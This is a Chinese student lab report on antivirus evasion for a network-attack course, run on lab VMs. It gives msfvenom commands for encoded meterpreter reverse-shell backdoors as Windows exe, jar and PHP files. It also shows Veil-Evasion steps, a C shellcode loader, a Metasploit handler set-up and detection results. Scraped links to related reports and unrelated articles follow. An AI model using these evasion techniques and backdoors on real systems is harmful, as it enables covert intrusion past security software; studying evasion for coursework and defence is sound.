2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

目录

实验要求

  1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1.5分)

  2. 通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

返回目录

实验环境

  • macOS下Parallels Desktop虚拟机中(网络源均设置为NAT模式):

    • Windows 7 - 64bit(IP为10.211.55.13
    • Kali Linux - 64bit(IP为10.211.55.10
  • 杀软:腾讯电脑管家(版本12.13.19475.203)

返回目录

预备知识

  1. 杀软是如何检测出恶意代码的?

    • 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  2. 免杀是做什么?

    • 免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。
  3. 免杀的基本方法有哪些?

    • 改变特征码

      • 如果你手里只有EXE

        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式

        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
      • 使用社工类攻击,诱骗目标关闭AV软件
      • 纯手工打造一个恶意软件

返回目录

实验步骤

1 免杀效果实测

1.1 恶意代码生成工具

恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。

对于这种情况,AV厂商当然是要尽量找到如msfvenom生成软件的特征,而不是搜集所有生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。

在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。

返回目录

1.2 免杀效果的评价

1.2.1 VirusTotal、Virscan

集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。

Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。

https://www.virustotal.com/,最近奇慢,原因不明。

http://www.virscan.org/ 国内的类似virtustotal

返回目录

1.2.2 免杀效果参考基准

msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。

序号 免杀方式 可用性测试 测试主机OS/AV VirusTotal VirScan
1 msfvenom直接生成 关闭杀软可用 Win7_64+MSSE 46/57 16/39
2 msfvenom 编码一次 关闭杀软可用 Win7_64+MSSE 45/57 15/39
2 msfvenom 多次编码 关闭杀软可用 Win7_64+MSSE 45/57 16/39
2 Veil-evasion 开启杀软可用 Win7_64+MSSE 19/58 5/39
2 C+shellcode 开启杀软可用 Win10+腾讯管家/Bitdefender 1/39
2 UPX压缩壳 40/57 17/39
2 Hyperion 18/57 8/39
... ...

返回目录

1.3 Msfvenom

1.3.1 Msfvenom使用编码器

Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。

编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。

  • 直接输入命令msfvenom即可查看相关用法:

  • 编码一次命令如下(用-e参数编码):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

  • 编码十次命令如下(用-i参数指定编码次数):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

    还是8个引擎报毒啊!这招不好使!

1.3.2 Msfvenom生成jar等其他文件
  • 用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar生成.jar文件:
  • 用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php生成php文件(可用于网页挂马):

返回目录

1.4 Veil-Evasion

Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。

  • sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get updatesudo apt-get upgrade这两个命令更新一下软件包即可:
  • 之后用veil命令打开Veil,输入y继续安装直至完成,之间可能等待较长时间:

  • use evasion命令进入Evil-Evasion:

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面,先设置输出.exe文件名:

  • set LHOST kali-ip命令设置ip,用set LPORT PORT命令设置端口号:

  • 再用generate命令生成.exe文件:

    如图所示,保存路径为:/var/lib/veil/output/compiled/20155314.exe
  • 先上传至Virscan试试水?

    打广告???冤枉啊(我喂自己袋盐!!!)那就改成5314.exe吧~
  • 用实验二所学知识将后门5314.exe传到Windows 7并尝试回连:
    • Windows下用命令行进入ncat目录,输入命令ncat.exe -lv 5314 > 5314.exe打开监听;
    • Kali下输入命令ncat -nv 10.211.55.13 5314 < 5314.exe发送后门到Windows:

      如下图,发送成功:
    • 在Kali中输入msfconsole命令用MSF打开监听进程(这回怎么又是那只兔子),再依次输入以下命令:
    	use exploit/multi/handler
    	set payload windows/meterpreter/reverse_tcp
    	set LHOST 10.211.55.10 //此处仍然为Linux的IP
    	set LPORT 5314
    	exploit


    - Windows进入ncat目录下找到刚刚传过去的后门并双击运行5314.exe,此时win7上的杀软——**腾讯电脑管家**终于坐不住了,直接强制给它隔离并弹窗警告⚠️!!!

    - 实验需要,我们选择给它加入信任区(平时可不敢这么干啊( ̄∇ ̄)):

" width="100%" />

重新双击后门,发现已经可以回连

调摄像头什么的上回玩腻了,这次就不再玩了( ̄∇ ̄)~

  • 分别上传至Virscan和VirusTotal上测测看:

    • Virscan扫描结果如下:

      emmmm似乎感觉有些良好?别得意的太早!
    • VirusTotal扫描结果如下:

      什么?竟然沦陷了半壁江山?!讽刺的是对比Virscan扫描结果,发现同样的几款杀毒引擎竟然一个报毒另一个安全???这不科学啊(>﹏<)

返回目录

1.5 C语言调用Shellcode

1.5.1 Linux平台交叉编译Windows应用
  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c生成一个c语言格式的shellcode数组:
  • 把上面的数组拿来编写一个程序,用vim 5314shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数:
    int main()
    {
    int (*func)() = (int(*)())buf;
    func();
    }

  • 再用i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe命令生成可执行文件:
  • 将后门5314shellcode.exe传到Windows 7并尝试回连:
    • win7下输入ncat.exe -lv 5314 > 5314shellcode.exe ;
    • Kali下输入ncat -nv 10.211.55.13 5314 < 5314shellcode.exe;
    • Kali下输入msfconsole相关命令;
    • win7下打开5314shellcode.exe——



      妈嗨!被腾讯电脑管家查杀了QAQ!后门太low了没办法找回呗……重新打开后门:



      这.....崩了?ಠ_ಠ

      不过貌似不影响回连的成功嘿嘿:

  • 最后战战兢兢地上传至virscan.org(>﹏<):



    呃啊效果似乎还不咋样啊

    2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

    1. 20145215《网络对抗》Exp3 免杀原理与实践

      20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

    2. 20155227《网络对抗》Exp3 免杀原理与实践

      20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

    3. 20155232《网络对抗》Exp3 免杀原理与实践

      20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

    4. 20155302《网络对抗》Exp3 免杀原理与实践

      20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

    5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

      20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

    6. 20155333 《网络对抗》Exp3 免杀原理与实践

      20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

    7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

      20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

    8. 20155218《网络对抗》Exp3 免杀原理与实践

      20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

    9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

      20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

    10. 20155338《网络对抗》Exp3 免杀原理与实践

      20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

    随机推荐

    1. MySQL学习(五) UNION与UNION ALL

      UNION用于把来自许多SELECT语句的结果组合到一个结果集合中,也叫联合查询. SELECT ... UNION [ALL | DISTINCT] SELECT ... [UNION [ALL | ...

    2. NIO 学习笔记三:DatagramChannel

      Java NIO中的DatagramChannel是一个能收发UDP包的通道.因为UDP是无连接的网络协议,所以不能像其它通道那样读取和写入.它发送和接收的是数据包. 打开 DatagramChann ...

    3. 网页布局设计css中单位px和em,rem的区别

      国内的设计师大都喜欢用px,而国外的网站大都喜欢用em和rem,那么三者有什么区别,又各自有什么优劣呢? PX特点 1. IE无法调整那些使用px作为单位的字体大小: 2. 国外的大部分网站能够调整的 ...

    4. Archlinux/Manjaro使用笔记-安装配置搜狗输入法步骤

      我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! 一.安装qtwebkit-bin软件包解决qtwebkit无法编译安装问题 aurman -S qtwebkit-bin 二.安 ...

    5. 关于html5中的 网页图标问题

      在html5 中 设置网页图标的语句<link rel="icon" type="image/x-icon" href="favicon.ico ...

    6. csharp:SMO run sql script

      using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...

    7. 微信小程序顶部(navigationBar)设置为透明

      我记得在微信小程序中导航栏的颜色可以在app.json.  window里面添加navigationBarBackgroundColor属性,但是颜色只能为纯色.不能使用rgb,或者rgba的色号. ...

    8. 第三次web作业

      em是相对长度单位.相对于当前对象内文本的字体尺寸.如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸,最初是指字母M的宽度,故名em.现指的是字符宽度的倍数,用法类似百分比,如:0 ...

    9. htmlElement.style 是只读属性

      document.getElementById('test').style = 'opacity:0'; 在某些机型上,比如苹果 ios 10机型上,会报错.提示 style 属性为只读属性. 建议所 ...

    10. TFS 安装遇到的问题

      居然是是微信桌面客户端占用了8080端口,也是醉了... 1 VS链接 源码管理器 发现提示 Http 404, 发现原来是自己吧tfs 给删除了 2 重新安装tfs,过程中提示 8080 端口被占用 ...